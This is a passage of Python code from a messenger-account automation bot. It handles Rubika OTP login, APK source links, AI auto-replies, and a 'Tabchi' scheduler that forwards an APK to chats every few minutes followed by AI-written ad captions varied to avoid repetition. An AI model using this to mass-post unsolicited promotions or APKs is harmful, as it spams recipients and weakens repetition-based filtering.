            reply = await ai.chat(messages, uid=uid, account_id=aid, action_type="auto_reply", temperature=0.65, max_tokens=600)
            if not reply:
                return
            sent = False
            for name in ("reply", "respond"):
                fn = getattr(event, name, None)
                if not fn:
                    continue
                try:
                    result = fn(reply)
                    await _trx_maybe_await(result)
                    sent = True
                    break
                except Exception:
                    pass
            if not sent and client:
                target = await _trx_event_chat_id(event)
                send = getattr(client, "send_message", None)
                if send and target is not None:
                    try:
                        result = send(target, reply)
                        await _trx_maybe_await(result)
                        sent = True
                    except Exception:
                        pass
            if sent:
                _trx_memory_save(uid, aid, peer_key, "user", text_value)
                _trx_memory_save(uid, aid, peer_key, "assistant", reply)
                log_account_activity(aid, uid, "ai_reply", peer_key, 1)
    except Exception as e:
        log.error(f"AI live v12 {service}/{aid}: {e}\n{traceback.format_exc(limit=40)}")

# Existing handler registration wrappers call the global name at event time,
# so rebinding the symbol above updates live behavior without deleting core code.

print(f"[TRX110] FINAL PATCH v12 LOADED — build={TRX110_BUILD}")


# ═══════════════════════════════════════════════════════════════════
# TRX115 FINAL PATCH v13 — Rubika login / APK source workflow /
# Tabchi + Channel Activity / English ɪʀᴀɴ font / button layout
# ═══════════════════════════════════════════════════════════════════

TRX115_BUILD = "2026-09-22-final-v13"
TRX115_MIN_TABCHI_MINUTES = 4
TRX115_MIN_CHANNEL_MINUTES = 20

# -------------------------------------------------------------------
# 1) English UI font: requested ɪʀᴀɴ style
# -------------------------------------------------------------------
_TRX115_SMALLCAPS = str.maketrans({
    "a":"ᴀ","b":"ʙ","c":"ᴄ","d":"ᴅ","e":"ᴇ","f":"ꜰ","g":"ɢ",
    "h":"ʜ","i":"ɪ","j":"ᴊ","k":"ᴋ","l":"ʟ","m":"ᴍ","n":"ɴ",
    "o":"ᴏ","p":"ᴘ","q":"ǫ","r":"ʀ","s":"ꜱ","t":"ᴛ","u":"ᴜ",
    "v":"ᴠ","w":"ᴡ","x":"ˣ","y":"ʏ","z":"ᴢ",
    "A":"ᴀ","B":"ʙ","C":"ᴄ","D":"ᴅ","E":"ᴇ","F":"ꜰ","G":"ɢ",
    "H":"ʜ","I":"ɪ","J":"ᴊ","K":"ᴋ","L":"ʟ","M":"ᴍ","N":"ɴ",
    "O":"ᴏ","P":"ᴘ","Q":"ǫ","R":"ʀ","S":"ꜱ","T":"ᴛ","U":"ᴜ",
    "V":"ᴠ","W":"ᴡ","X":"ˣ","Y":"ʏ","Z":"ᴢ",
})

def trx_sc(value: Any) -> str:
    return str(value or "").translate(_TRX115_SMALLCAPS)

TRX_DECOR = ""

_TRX115_OLD_T = t
def t(lang, key):
    value = _TRX115_OLD_T(lang, key)
    if str(lang or "fa").lower().startswith("en"):
        return trx_sc(value)
    return value

# -------------------------------------------------------------------
# 2) Global glass-button layout
#    One button => green
#    Two buttons => blue + red
#    More => blue/red alternating
# -------------------------------------------------------------------
def IKB(rows):
    keyboard = []
    for row in rows or []:
        items = [x for x in (row or []) if isinstance(x, (list, tuple, dict))]
        if not items:
            continue
        out_row = []
        if len(items) == 1:
            positions = ["success"]
        elif len(items) == 2:
            positions = ["primary", "danger"]
        else:
            positions = ["primary" if i % 2 == 0 else "danger" for i in range(len(items))]
        for idx, item in enumerate(items):
            if isinstance(item, dict):
                btn = dict(item)
                btn["style"] = positions[idx]
                out_row.append(btn)
                continue
            if len(item) < 2:
                continue
            text_value, data = item[0], item[1]
            btn = {"text": str(text_value)}
            if data is not None:
                if isinstance(data, str) and (data.startswith("http://") or data.startswith("https://")):
                    btn["url"] = data
                else:
                    btn["callback_data"] = str(data)
            btn["style"] = positions[idx]
            out_row.append(btn)
        if out_row:
            keyboard.append(out_row)
    return {"inline_keyboard": keyboard}

def _trx115_normalize_markup(markup):
    if not markup or not isinstance(markup, dict) or "inline_keyboard" not in markup:
        return markup
    return IKB(markup.get("inline_keyboard", []))

# Keep transport fallback behavior while applying the new layout globally.
if not getattr(Bot, "_trx115_style_wrapped", False):
    _TRX115_BOT_SEND_BASE = Bot.send
    _TRX115_BOT_EDIT_BASE = Bot.edit

    async def _trx115_bot_send(self, chat_id, text, reply_markup=None, parse_mode="Markdown"):
        return await _TRX115_BOT_SEND_BASE(
            self, chat_id, text,
            reply_markup=_trx115_normalize_markup(reply_markup),
            parse_mode=parse_mode,
        )

    async def _trx115_bot_edit(self, chat_id, message_id, text, reply_markup=None, parse_mode="Markdown"):
        return await _TRX115_BOT_EDIT_BASE(
            self, chat_id, message_id, text,
            reply_markup=_trx115_normalize_markup(reply_markup),
            parse_mode=parse_mode,
        )

    Bot.send = _trx115_bot_send
    Bot.edit = _trx115_bot_edit
    Bot._trx115_style_wrapped = True

# -------------------------------------------------------------------
# 3) Rubika OTP: direct legacy HTTPS fallback before rulog
#    The public Rubika protocol references legacy API-v3 sendCode/signIn,
#    while rulog's documented public example uses Android -> Web fallback.
# -------------------------------------------------------------------
TRX115_RUBIKA_URLS = (
    "https://messengerg2c4.iranlms.ir/",
    "https://messengerg2c17.iranlms.ir/",
)

TRX115_RUBIKA_HEADERS = {
    "User-Agent": "Mozilla/5.0 (Linux; Android 13) AppleWebKit/537.36 Chrome/124 Safari/537.36",
    "Accept": "application/json, text/plain, */*",
    "Content-Type": "application/json",
    "Origin": "https://web.rubika.ir",
    "Referer": "https://web.rubika.ir/",
}

async def _trx115_rubika_http(payload, timeout=25):
    errors = []
    for base in TRX115_RUBIKA_URLS:
        try:
            session = aiohttp.ClientSession(timeout=aiohttp.ClientTimeout(total=timeout))
            try:
                async with session.post(base, json=payload, headers=TRX115_RUBIKA_HEADERS) as resp:
                    raw = await resp.text()
                    try:
                        data = json.loads(raw)
                    except Exception:
                        data = {"status": str(resp.status), "raw": raw[:1000]}
                    if isinstance(data, dict):
                        return data
                    return {"status": str(resp.status), "data": data}
            finally:
                await session.close()
        except Exception as e:
            errors.append(f"{base}: {type(e).__name__}: {e}")
    raise RuntimeError(" | ".join(errors)[:1400])

def _trx115_rubika_ok(response):
    status = str(response.get("status", "") if isinstance(response, dict) else "").upper()
    return status in {"OK", "SUCCESS", "200", ""}

def _trx115_extract_hash(response):
    if not isinstance(response, dict):
        return None
    data = response.get("data")
    if isinstance(data, dict):
        return data.get("phone_code_hash") or data.get("phoneCodeHash")
    return response.get("phone_code_hash") or response.get("phoneCodeHash")

async def rubika_send_code_v13(uid: int, phone: str) -> Tuple[bool, Any]:
    number = _trx_phone_98digits(phone)
    errors = []

    # 1) Direct public legacy API route. This avoids rulog's OSError(5) path.
    try:
        response = await _trx115_rubika_http({
            "api_version": "3",
            "method": "sendCode",
            "data": {
                "phone_number": number,
                "send_type": "SMS",
            },
        })
        ph = _trx115_extract_hash(response)
        if ph and _trx115_rubika_ok(response):
            active_clients[uid] = {
                "client": None,
                "rulog": None,
                "service": "rubika",
                "phone": number,
                "phone_input": phone,
                "hash": ph,
                "otp_platform": "legacy",
                "backend": "legacy",
                "created_at": time.time(),
                "connected": False,
            }
            log.info(f"[{uid}] Rubika OTP requested via direct legacy HTTPS")
            return True, response
        errors.append(f"legacy: {str(response)[:500]}")
    except Exception as e:
        errors.append(f"legacy: {type(e).__name__}: {e}")

    # 2) Documented rulog route as a fallback.
    try:
        mod = _trx_import_or_install("rulog", "rulog>=1.0.3")
        RulogClient = getattr(mod, "Client", None)
        if RulogClient is None:
            raise RuntimeError("rulog.Client is unavailable")
        rc = RulogClient()
        for platform, send_type in (("android", True), ("web", False)):
            try:
                fn = getattr(rc, "sendCode", None)
                if not fn:
                    raise RuntimeError("rulog.Client.sendCode is unavailable")
                result = await asyncio.to_thread(
                    fn, platform, number, **({"send_type": True} if send_type else {})
                )
                ph = _trx115_extract_hash(result)
                if ph:
                    active_clients[uid] = {
                        "client": None,
                        "rulog": rc,
                        "service": "rubika",
                        "phone": number,
                        "phone_input": phone,
                        "hash": ph,
                        "otp_platform": platform,
                        "backend": "rulog",
                        "created_at": time.time(),
                        "connected": False,
                    }
                    return True, result
                errors.append(f"{platform}: {str(result)[:350]}")
            except Exception as e:
                errors.append(f"{platform}: {type(e).__name__}: {e}")
    except Exception as e:
        errors.append(f"rulog-load: {type(e).__name__}: {e}")

    return False, "Rubika OTP failed: " + " | ".join(errors)[:1400]

def _trx115_extract_auth_key(result):
    data = result.get("data") if isinstance(result, dict) else result
    if isinstance(data, dict):
        auth = data.get("auth") or data.get("Auth")
        key = data.get("key") or data.get("Key")
        if auth and key:
            return str(auth), key
    if isinstance(result, dict):
        auth = result.get("auth") or result.get("Auth")
        key = result.get("key") or result.get("Key")
        if auth and key:
            return str(auth), key
    return None, None

async def rubika_verify_v13(uid: int, code: str) -> Tuple[bool, Any]:
    info = active_clients.get(uid)
    if not info or info.get("service") != "rubika":
        return False, "Rubika login session not found"
    number = info.get("phone") or _trx_phone_98digits(info.get("phone_input", ""))
    phone_hash = info.get("hash")
    backend = info.get("backend", "legacy")
    platform = info.get("otp_platform", "android")
    result = None
    errors = []

    # 1) Match the direct legacy sendCode flow with legacy signIn first.
    if backend == "legacy":
        try:
            result = await _trx115_rubika_http({
                "api_version": "3",
                "method": "signIn",
                "data": {
                    "phone_number": number,
                    "phone_code_hash": phone_hash,
                    "phone_code": str(code).strip(),
                },
            })
            if not _trx115_rubika_ok(result):
                errors.append(f"legacy signIn: {str(result)[:600]}")
                result = None
        except Exception as e:
            errors.append(f"legacy signIn: {type(e).__name__}: {e}")

    # 2) rulog signIn fallback with the same hash.
    if result is None and info.get("rulog"):
        try:
            rc = info["rulog"]
            sign = getattr(rc, "signIn", None) or getattr(rc, "sign_in", None)
            if not sign:
                raise RuntimeError("rulog signIn is unavailable")
            variants = [
                ((platform, number, phone_hash, str(code).strip()), {}),
                ((number, phone_hash, str(code).strip()), {}),
                ((number, str(code).strip()), {"phone_code_hash": phone_hash}),
            ]
            for args, kwargs in variants:
                try:
                    result = sign(*args, **kwargs)
                    if asyncio.iscoroutine(result):
                        result = await result
                    break
                except TypeError:
                    continue
            if result is None:
                raise RuntimeError("rulog signIn returned no result")
        except Exception as e:
            errors.append(f"rulog signIn: {type(e).__name__}: {e}")

    if result is None:
        return False, "Rubika verification failed: " + " | ".join(errors)[:1400]

    auth, key = _trx115_extract_auth_key(result)

    # Register the authenticated device when rulog exposes that method.
    if auth and key and info.get("rulog"):
        try:
            register = getattr(info["rulog"], "register", None)
            if register:
                reg = register(platform="android", auths=auth, keys=key)
                if asyncio.iscoroutine(reg):
                    await reg
        except Exception as e:
            log.warning(f"[{uid}] Rubika register fallback: {e}")

    session_value = json.dumps(
        {"auth": auth, "key": key} if auth and key else (result.get("data") if isinstance(result, dict) else result),
        ensure_ascii=False,
    )

    cur = db.execute(
        "INSERT INTO accounts(user_id,service,phone,session,status,added_at) VALUES(?,?,?,?,?,?)",
        (uid, "rubika", info.get("phone_input") or number, session_value, "online", now()),
    )
    aid = cur.lastrowid

    client = None
    if auth and key:
        # Use rubpy only after a valid auth/key is available.
        try:
            from rubpy import Client as RubpyClient
            client_variants = [
                dict(
                    name=os.path.join(SESS_DIR, f"rubika_{uid}_{aid}"),
                    auth=str(auth),
                    private_key=key,
                    phone_number=info.get("phone_input") or number,
                    platform="Android",
                ),
                dict(
                    name=os.path.join(SESS_DIR, f"rubika_{uid}_{aid}"),
                    auth=str(auth),
                    private_key=key,
                ),
            ]
            for kwargs in client_variants:
                try:
                    client = RubpyClient(**kwargs)
                    await _trx_connect_client(client)
                    break
                except TypeError:
                    continue
                except Exception as e:
                    errors.append(f"rubpy connect: {type(e).__name__}: {e}")
                    client = None
        except Exception as e:
            errors.append(f"rubpy import: {type(e).__name__}: {e}")

    if client is not None:
        ai_live_clients[(uid, aid)] = client
        active_clients[uid].update({"client": client, "connected": True, "account_id": aid})
        try:
            _register_ai_handler(client, uid, "rubika", aid)
        except Exception:
            pass

    log_account_activity(aid, uid, "login", "rubika", 1)
    log_event(uid, "ACCOUNT_ADDED", "rubika")
    return True, result

SERVICE_HANDLERS["rubika"] = {
    "send": _wrap_otp_handler("rubika", rubika_send_code_v13),
    "verify": rubika_verify_v13,
}

# -------------------------------------------------------------------
# 4) APK source links
# -------------------------------------------------------------------
def _trx115_parse_source_ref(raw):
    raw = str(raw or "").strip()
    raw = raw.strip(" \t\r\n<>()[]{}")
    if not raw:
        return None, None

    # chat:message_id
    m = re.fullmatch(r"(.+?)[/:](\d{1,20})", raw)
    if m and not raw.startswith(("http://", "https://")):
        return m.group(1), int(m.group(2))

    parsed = None
    if raw.startswith(("http://", "https://")):
        try:
            from urllib.parse import urlparse
            parsed = urlparse(raw)
            parts = [p for p in parsed.path.split("/") if p]
            if parts and parts[-1].isdigit():
                msg_id = int(parts[-1])
                if len(parts) >= 2:
                    # SPlus commonly has /username/.../123 style paths.
                    chat_ref = parts[-2]
                    if chat_ref in {"s", "m", "p", "message", "messages", "post"} and len(parts) >= 3:
                        chat_ref = parts[-3]
                    return chat_ref, msg_id
        except Exception:
            pass

    return None, None

async def _trx115_get_message(client, chat_ref, message_id):
    peer = await _trx_resolve_target(client, chat_ref)
    candidates = [
        ("get_message_by_id", ((peer, message_id), {})),
        ("get_messages", ((peer,), {"ids": message_id})),
        ("get_messages", ((peer,), {"id": message_id})),
        ("get_messages_by_id", ((peer, [message_id]), {})),
        ("get_messages_info", ((peer, [message_id]), {})),
    ]
    for name, (args, kwargs) in candidates:
        fn = getattr(client, name, None)
        if not fn:
            continue
        try:
            result = await _trx_maybe_await(fn(*args, **kwargs))
            if isinstance(result, (list, tuple)):
                return result[0] if result else None, peer
            if isinstance(result, dict) and result.get("messages"):
                return result["messages"][0], peer
            return result, peer
        except Exception:
            continue
    return None, peer

async def _trx115_save_apk_from_link(uid, aid, service, raw_link):
    chat_ref, message_id = _trx115_parse_source_ref(raw_link)
    if not chat_ref or not message_id:
        return False, "فرمت لینک پیام APK قابل تشخیص نیست"

    client = ai_live_clients.get((uid, aid)) or await _ensure_ai_client(uid, aid)
    if not client:
        return False, "نشست اکانت در دسترس نیست"

    msg_obj, peer = await _trx115_get_message(client, chat_ref, message_id)
    if msg_obj is None:
        return False, "پیام منبع پیدا نشد"

    meta = _trx110_apk_meta(msg_obj)
    if not meta or not str(meta["filename"]).lower().endswith(".apk"):
        return False, "پیامی که فرستادید APK نیست"

    cnt = db.fetchone("SELECT COUNT(*) c FROM apk_files WHERE user_id=? AND enabled=1", (uid,))["c"]
    if cnt >= MAX_APK_PER_USER:
        return False, f"ظرفیت APK کامل است؛ {MAX_APK_PER_USER} از {MAX_APK_PER_USER}"

    old = db.fetchone(
        "SELECT af.id FROM apk_files af JOIN apk_sources s ON s.apk_id=af.id "
        "WHERE af.user_id=? AND s.account_id=? AND s.source_peer=? AND s.source_message_id=? AND af.enabled=1",
        (uid, aid, str(peer), str(message_id)),
    )
    if old:
        return True, f"APK {old['id']} قبلاً ثبت شده"

    cur = db.execute(
        "INSERT INTO apk_files(user_id,file_id,message_id,file_name,file_size,enabled,added_at) "
        "VALUES(?,?,?,?,?,1,?)",
        (uid, "", int(message_id), str(meta["filename"])[:255], int(meta.get("size") or 0), now()),
    )
    apk_id = cur.lastrowid
    db.execute(
        "INSERT OR REPLACE INTO apk_sources(apk_id,account_id,platform,source_peer,source_message_id,created_at) "
        "VALUES(?,?,?,?,?,?)",
        (apk_id, aid, service, str(peer), str(message_id), now()),
    )
    db.execute(
        "INSERT OR REPLACE INTO settings(key,value) VALUES(?,?)",
        (f"default_apk:{uid}", apk_id),
    )
    log_event(uid, "APK_ADDED", f"{service}:{meta['filename']}")
    log_account_activity(aid, uid, "apk_register", f"{meta['filename']}:{message_id}", 1)
    return True, f"APK {apk_id} saved"

def _trx115_apk_for_account(uid, aid):
    return db.fetchone(
        "SELECT af.*,src.account_id AS source_account_id,src.source_peer,src.source_message_id,src.platform "
        "FROM apk_files af JOIN apk_sources src ON src.apk_id=af.id "
        "WHERE af.user_id=? AND af.enabled=1 AND src.account_id=? ORDER BY af.id DESC LIMIT 1",
        (uid, aid),
    )

# -------------------------------------------------------------------
# 5) APK manager UI + new guided source workflow
# -------------------------------------------------------------------
def _trx115_apk_panel_text(uid, lang):
    rows = db.fetchall(
        "SELECT af.*,src.account_id,src.platform,src.source_peer,src.source_message_id "
        "FROM apk_files af LEFT JOIN apk_sources src ON src.apk_id=af.id "
        "WHERE af.user_id=? AND af.enabled=1 ORDER BY af.id ASC",
        (uid,),
    )
    if str(lang).lower().startswith("en"):
        lines = [
            trx_sc("📦 APK Manager"),
            trx_sc(f"Active APKs: {len(rows)} / {MAX_APK_PER_USER}"),
            "",
            trx_sc("Add an APK from a direct message link. The source message stays in its original channel and can be forwarded later."),
            "",
        ]
        for i, r in enumerate(rows, 1):
            lines.append(trx_sc(f"APK {i} • {r['file_name']} • {str(r['platform'] or 'unknown').title()}"))
        if not rows:
            lines.append(trx_sc("No APK source is saved yet"))
        return "\n".join(lines)

    lines = [
        "📦 **مدیریت APK**",
        f"APKهای فعال: **{len(rows)} از {MAX_APK_PER_USER}**",
        "",
        "برای ثبت APK روی «تنظیم APK» بزنید، پلتفرم و اکانت را انتخاب کنید و بعد لینک مستقیم همان پیام APK را بفرستید",
        "لینک باید به خود پیام فایل برسد نه لینک دعوت چنل",
        "",
    ]
    for i, r in enumerate(rows, 1):
        lines.append(f"APK {i} • {r['file_name']} • {str(r['platform'] or 'نامشخص').upper()}")
    if not rows:
        lines.append("هنوز APK منبعی ثبت نشده")
    return "\n".join(lines)

def _trx115_apk_panel_kb(uid, lang):
    rows = db.fetchall("SELECT id,file_name FROM apk_files WHERE user_id=? AND enabled=1 ORDER BY id ASC", (uid,))
    btns = [[(trx_sc("➕ Setup APK") if str(lang).startswith("en") else "➕ تنظیم APK", "apk.setup")]]
    for i, r in enumerate(rows, 1):
        btns.append([
            (trx_sc(f"📦 APK {i}") if str(lang).startswith("en") else f"📦 APK {i}", f"apk.pick:{r['id']}"),
            (trx_sc(f"🗑 Remove {i}") if str(lang).startswith("en") else f"🗑 حذف {i}", f"apk.disable:{r['id']}")
        ])
    btns.append([(trx_sc("↩️ Back") if str(lang).startswith("en") else "↩️ بازگشت", "menu")])
    return IKB(btns)

def _trx115_platform_kb(lang, prefix):
    en = str(lang).lower().startswith("en")
    return IKB([
        [(trx_sc("🔵 Rubika") if en else "🔵 روبیکا", f"{prefix}:rubika"),
         (trx_sc("🔴 Soroush Plus") if en else "🔴 سروش پلاس", f"{prefix}:soroush")],
        [(trx_sc("🟡 Bale") if en else "🟡 بله", f"{prefix}:bale")],
        [(trx_sc("↩️ Back") if en else "↩️ بازگشت", "apk" if prefix=="apk.setup.svc" else "ai")],
    ])

# -------------------------------------------------------------------
# 6) Guided Tabchi / Channel Activity workflow
# -------------------------------------------------------------------
def _trx115_task_platform_kb(lang, kind):
    en = str(lang).lower().startswith("en")
    prefix = f"trx115.{kind}.platform"
    return IKB([
        [(trx_sc("🔵 Rubika") if en else "🔵 روبیکا", f"{prefix}:rubika"),
         (trx_sc("🔴 Soroush Plus") if en else "🔴 سروش پلاس", f"{prefix}:soroush")],
        [(trx_sc("🟡 Bale") if en else "🟡 بله", f"{prefix}:bale")],
        [(trx_sc("↩️ Back") if en else "↩️ بازگشت", "ai")],
    ])

def _trx115_accounts_kb(uid, lang, kind, platform):
    en = str(lang).lower().startswith("en")
    rows = db.fetchall(
        "SELECT * FROM accounts WHERE user_id=? AND service=? AND enabled=1 ORDER BY id DESC",
        (uid, platform),
    )
    btns = []
    for r in rows:
        label = f"#{r['id']} — {_mask_phone(r['phone'])}"
        btns.append([(trx_sc(label) if en else label, f"trx115.{kind}.account:{r['id']}")])
    btns.append([(trx_sc("↩️ Back") if en else "↩️ بازگشت", f"ai.{kind}")])
    return IKB(btns)

async def _trx115_validate_target(uid, aid, raw):
    client = ai_live_clients.get((uid, aid)) or await _ensure_ai_client(uid, aid)
    if not client:
        return False, None
    resolved = await _trx_resolve_target(client, raw)
    # For URLs, require a real resolver when the client exposes one.
    if raw.startswith(("http://", "https://")) and isinstance(resolved, str) and resolved == raw:
        return False, None
    return True, resolved

def _trx115_interval_prompt(lang, kind):
    en = str(lang).lower().startswith("en")
    minimum = TRX115_MIN_CHANNEL_MINUTES if kind == "channel" else TRX115_MIN_TABCHI_MINUTES
    if en:
        return trx_sc(f"⏱ Send the interval in minutes. Minimum {minimum} minutes. Example: {minimum + 5}")
    return f"⏱ فاصله انتشار را به دقیقه بفرستید\nحداقل {minimum} دقیقه است\nمثال: {minimum + 5}"

async def _trx115_make_preview(uid, aid, kind, target, minutes, apk):
    lang = get_lang(uid)
    en = str(lang).startswith("en")
    service = db.fetchone("SELECT service,phone FROM accounts WHERE id=? AND user_id=?", (aid,uid))
    sname = _trx_service_name("en" if en else "fa", service["service"]) if service else "Unknown"
    title = "Channel Activity" if kind == "channel" else "Tabchi"
    if en:
        return (
            trx_sc("🧾 Schedule Preview") + "\n\n" +
            trx_sc(f"Mode: {title}\nPlatform: {sname}\nAccount: #{aid}\nTarget: {target}\n"
                   f"Interval: every {minutes} minutes\nSource: APK {apk['id']} • {apk['file_name']}\n\n"
                   "Two messages per run: the original APK is forwarded first, then AI writes a fresh caption.") +
            "\n\n" + trx_sc("Confirm this schedule?"),
            IKB([
                [(trx_sc("✅ Confirm"), "trx115.task.confirm"), (trx_sc("❌ Cancel"), "cancel")],
            ])
        )
    return (
        "🧾 **پیش‌نمایش زمان‌بندی**\n\n"
        f"🧩 حالت: **{'فعالیت چنل' if kind=='channel' else 'تبچی'}**\n"
        f"📱 اکانت: **#{aid} — {sname}**\n"
        f"🎯 هدف: `{target}`\n"
        f"⏱ فاصله: هر **{minutes} دقیقه**\n"
        f"📦 منبع: **APK {apk['id']} — {apk['file_name']}**\n\n"
        "در هر اجرا دو پیام ارسال می‌شود\n"
        "اول خود APK منبع فوروارد می‌شود، بعد یک متن تازه و متفاوت توسط AI ساخته و ارسال می‌شود\n\n"
        "تایید می‌کنی؟",
        IKB([[("✅ تایید", "trx115.task.confirm"), ("❌ لغو", "cancel")]])
    )

# -------------------------------------------------------------------
# 7) New task runner: APK forward first, AI caption second
# -------------------------------------------------------------------
async def _trx115_generate_caption(uid, aid, kind, target, apk_id):
    recent = db.fetchall(
        "SELECT detail FROM ai_task_runs atr JOIN ai_tasks at ON at.id=atr.task_id "
        "WHERE at.user_id=? AND at.account_id=? AND at.task_type=? AND atr.success=1 "
        "ORDER BY atr.id DESC LIMIT 5",
        (uid, aid, "channel" if kind=="channel" else "group"),
    )
    previous = "\n".join(str(r["detail"] or "")[:700] for r in recent)
    target_hint = str(target)
    channel_suffix = (
        f"\nAt the end of a channel caption, include the target channel link/username exactly as provided: {target_hint}."
        if kind == "channel" else ""
    )
    prompt = _trx_ai_system(
        uid, aid,
        "scheduled_ad",
        (
            f"Target type: {kind}. Target: {target_hint}. "
            "Create a polished Persian promotional caption that sounds like a real Iranian product team wrote it. "
            "Natural phrasing, no robotic headings, no fake claims, no repeated wording. "
            "Use only facts present in the product knowledge. "
            "Mention the developer only when the developer is present in product knowledge. "
            "Do not use excessive punctuation, emoji or decorative symbols. "
            "The APK itself is already forwarded separately, so this message is text only. "
            "Make this caption meaningfully different from the recent captions.\n"
            + channel_suffix +
            "\nRecent captions to avoid repeating:\n" + previous[:3200]
        ),
    )
    result = await ai.chat(
        [
            {"role": "system", "content": prompt},
            {"role": "user", "content": "یک متن تبلیغاتی طبیعی و متفاوت بنویس که مستقیم بعد از فایل APK قابل انتشار باشد"},
        ],
        uid=uid, account_id=aid, action_type="scheduled_ad_caption",
        temperature=0.9, max_tokens=650,
    )
    return (result or "").strip()

async def _trx115_run_task(task):
    uid, aid = task["user_id"], task["account_id"]
    kind = "channel" if task["task_type"] == "channel" else "group"
    client = ai_live_clients.get((uid, aid)) or await _ensure_ai_client(uid, aid)
    if not client:
        raise RuntimeError("account session is not connected")

    payload = _trx_task_payload(task)
    apk_id = int(payload.get("apk_id") or 0)
    if not apk_id:
        apk = _trx115_apk_for_account(uid, aid)
        if not apk:
            raise RuntimeError("no source APK is registered for this account")
        apk_id = int(apk["id"])

    ok, forwarded = await _trx_forward_source_apk_v11(uid, aid, task["target"], apk_id)
    if not ok:
        raise RuntimeError(f"APK forward failed: {forwarded}")

    caption = await _trx115_generate_caption(uid, aid, kind, task["target"], apk_id)
    if not caption:
        raise RuntimeError("AI caption generation failed")

    dest = await _trx_resolve_target(client, task["target"])
    sent = False
    # Send the caption as a second message; reply to the forwarded message when
    # the client exposes the forwarded message id.
    forwarded_id = None
    if isinstance(forwarded, dict):
        forwarded_id = forwarded.get("id") or forwarded.get("message_id")
    else:
        forwarded_id = getattr(forwarded, "id", None) or getattr(forwarded, "message_id", None)

    send = getattr(client, "send_message", None)
    if not send:
        raise RuntimeError("account client has no send_message")

    if forwarded_id is not None:
        try:
            await _trx_maybe_await(send(dest, caption[:3500], reply_to_message_id=forwarded_id))
            sent = True
        except Exception:
            sent = False
    if not sent:
        await _trx_maybe_await(send(dest, caption[:3500]))
        sent = True

    stamp = now()
    db.execute(
        "UPDATE ai_tasks SET last_run=?,run_count=run_count+1,updated_at=? WHERE id=?",
        (stamp, stamp, task["id"]),
    )
    try:
        db.execute(
            "INSERT INTO ai_task_runs(task_id,success,detail,created_at) VALUES(?,?,?,?)",
            (task["id"], 1, caption[:1800], stamp),
        )
    except Exception:
        pass
    return True

async def _trx115_scheduler_loop():
    while True:
        try:
            await asyncio.sleep(15)
            if db is None or bot is None or not getattr(bot, "running", False):
                continue
            rows = db.fetchall("SELECT * FROM ai_tasks WHERE enabled=1 ORDER BY id ASC")
            now_ts = time.time()
            for task in rows:
                interval = max(60, int(task["interval_seconds"] or 240))
                last = task["last_run"]
                due = not bool(last)
                if last:
                    try:
                        due = datetime.fromisoformat(last).timestamp() + interval <= now_ts
                    except Exception:
                        due = True
                if not due:
                    continue
                try:
                    await _trx115_run_task(task)
                except Exception as e:
                    log.error(f"TRX115 scheduled task #{task['id']} failed: {e}")
                    try:
                        db.execute(
                            "INSERT INTO ai_task_runs(task_id,success,detail,created_at) VALUES(?,?,?,?)",
                            (task["id"], 0, str(e)[:1200], now()),
                        )
                    except Exception:
                        pass
        except asyncio.CancelledError:
            raise
        except Exception as e:
            log.error(f"TRX115 scheduler loop: {e}")

# main() creates background scheduler via original symbol; replace it with ours.
_trx_scheduler_loop = _trx115_scheduler_loop
_trx_run_task = _trx115_run_task

# -------------------------------------------------------------------
# 8) Final callback router
# -------------------------------------------------------------------
_TRX115_DISPATCH_BEFORE = dispatch_cb

async def dispatch_cb(cb_id, uid, lang, u, chat_id, msg_id, data):
    try:
        en = str(lang).lower().startswith("en")

        if data == "apk":
            return await _edit(chat_id, msg_id, _trx115_apk_panel_text(uid, lang), _trx115_apk_panel_kb(uid, lang))

        if data == "apk.setup":
            text_value = (
                trx_sc("📦 APK Setup\n\nChoose the platform where the APK source message is stored.")
                if en else
                "📦 **تنظیم APK**\n\nاول پلتفرمی را انتخاب کنید که APK منبع داخل آن است"
            )
            return await _edit(chat_id, msg_id, text_value, _trx115_platform_kb(lang, "apk.setup.svc"))

        if data.startswith("apk.setup.svc:"):
            platform = data.split(":",1)[1]
            rows = db.fetchall(
                "SELECT * FROM accounts WHERE user_id=? AND service=? AND enabled=1 ORDER BY id DESC",
                (uid, platform),
            )
            if not rows:
                return await _edit(
                    chat_id, msg_id,
                    trx_sc("No active account on this platform") if en else "❌ روی این پلتفرم اکانت فعالی ندارید",
                    _trx115_platform_kb(lang, "apk.setup.svc"),
                )
            text_value = (
                trx_sc(f"📱 Choose the account that can access the APK source channel. ({platform})")
                if en else
                f"📱 اکانتی را انتخاب کنید که به چنل منبع APK دسترسی دارد\nپلتفرم: {_trx_service_name('fa', platform)}"
            )
            return await _edit(chat_id, msg_id, text_value, _trx115_accounts_kb(uid, lang, "apk", platform))

        if data.startswith("trx115.apk.account:"):
            aid = int(data.split(":",1)[1])
            row = db.fetchone("SELECT * FROM accounts WHERE id=? AND user_id=? AND enabled=1", (aid,uid))
            if not row:
                return await _edit(chat_id, msg_id, trx_sc("Account not found") if en else "❌ اکانت پیدا نشد", _trx115_apk_panel_kb(uid,lang))
            state.set(uid, State.ADD_APK, setup_mode="source_link", account_id=aid, service=row["service"])
            prompt = (
                trx_sc(
                    "🔗 Send the direct message link of the APK now.\n"
                    "The APK must be posted inside a channel accessible by this account.\n"
                    "Use the message link itself, not the channel invite link.\n"
                    "Examples: https://platform/.../channel/123  or  channel:123"
                )
                if en else
                "🔗 لینک مستقیم پیام APK را بفرستید\n"
                "فایل باید داخل چنلی باشد که همین اکانت به آن دسترسی دارد\n"
                "لینک خود پیام فایل را بفرستید، نه لینک دعوت چنل\n\n"
                "نمونه فرمت: `https://platform/.../channel/123` یا `channel:123`"
            )
            return await _edit(chat_id, msg_id, prompt, IKB([[(trx_sc("❌ Cancel") if en else "❌ لغو", "cancel")]]))

        if data.startswith("apk.pick:"):
            apk_id = int(data.split(":",1)[1])
            row = db.fetchone("SELECT * FROM apk_files WHERE id=? AND user_id=? AND enabled=1", (apk_id,uid))
            if not row:
                return await _edit(chat_id,msg_id,trx_sc("APK not found") if en else "❌ APK پیدا نشد",_trx115_apk_panel_kb(uid,lang))
            db.execute("INSERT OR REPLACE INTO settings(key,value) VALUES(?,?)",(f"default_apk:{uid}",apk_id))
            return await _edit(
                chat_id,msg_id,
                trx_sc(f"✅ APK {apk_id} selected") if en else f"✅ APK {apk_id} به عنوان منبع انتخاب شد",
                _trx115_apk_panel_kb(uid,lang),
            )

        if data.startswith("apk.disable:"):
            apk_id = int(data.split(":",1)[1])
            db.execute("UPDATE apk_files SET enabled=0 WHERE id=? AND user_id=?",(apk_id,uid))
            return await _edit(chat_id,msg_id,_trx115_apk_panel_text(uid,lang),_trx115_apk_panel_kb(uid,lang))

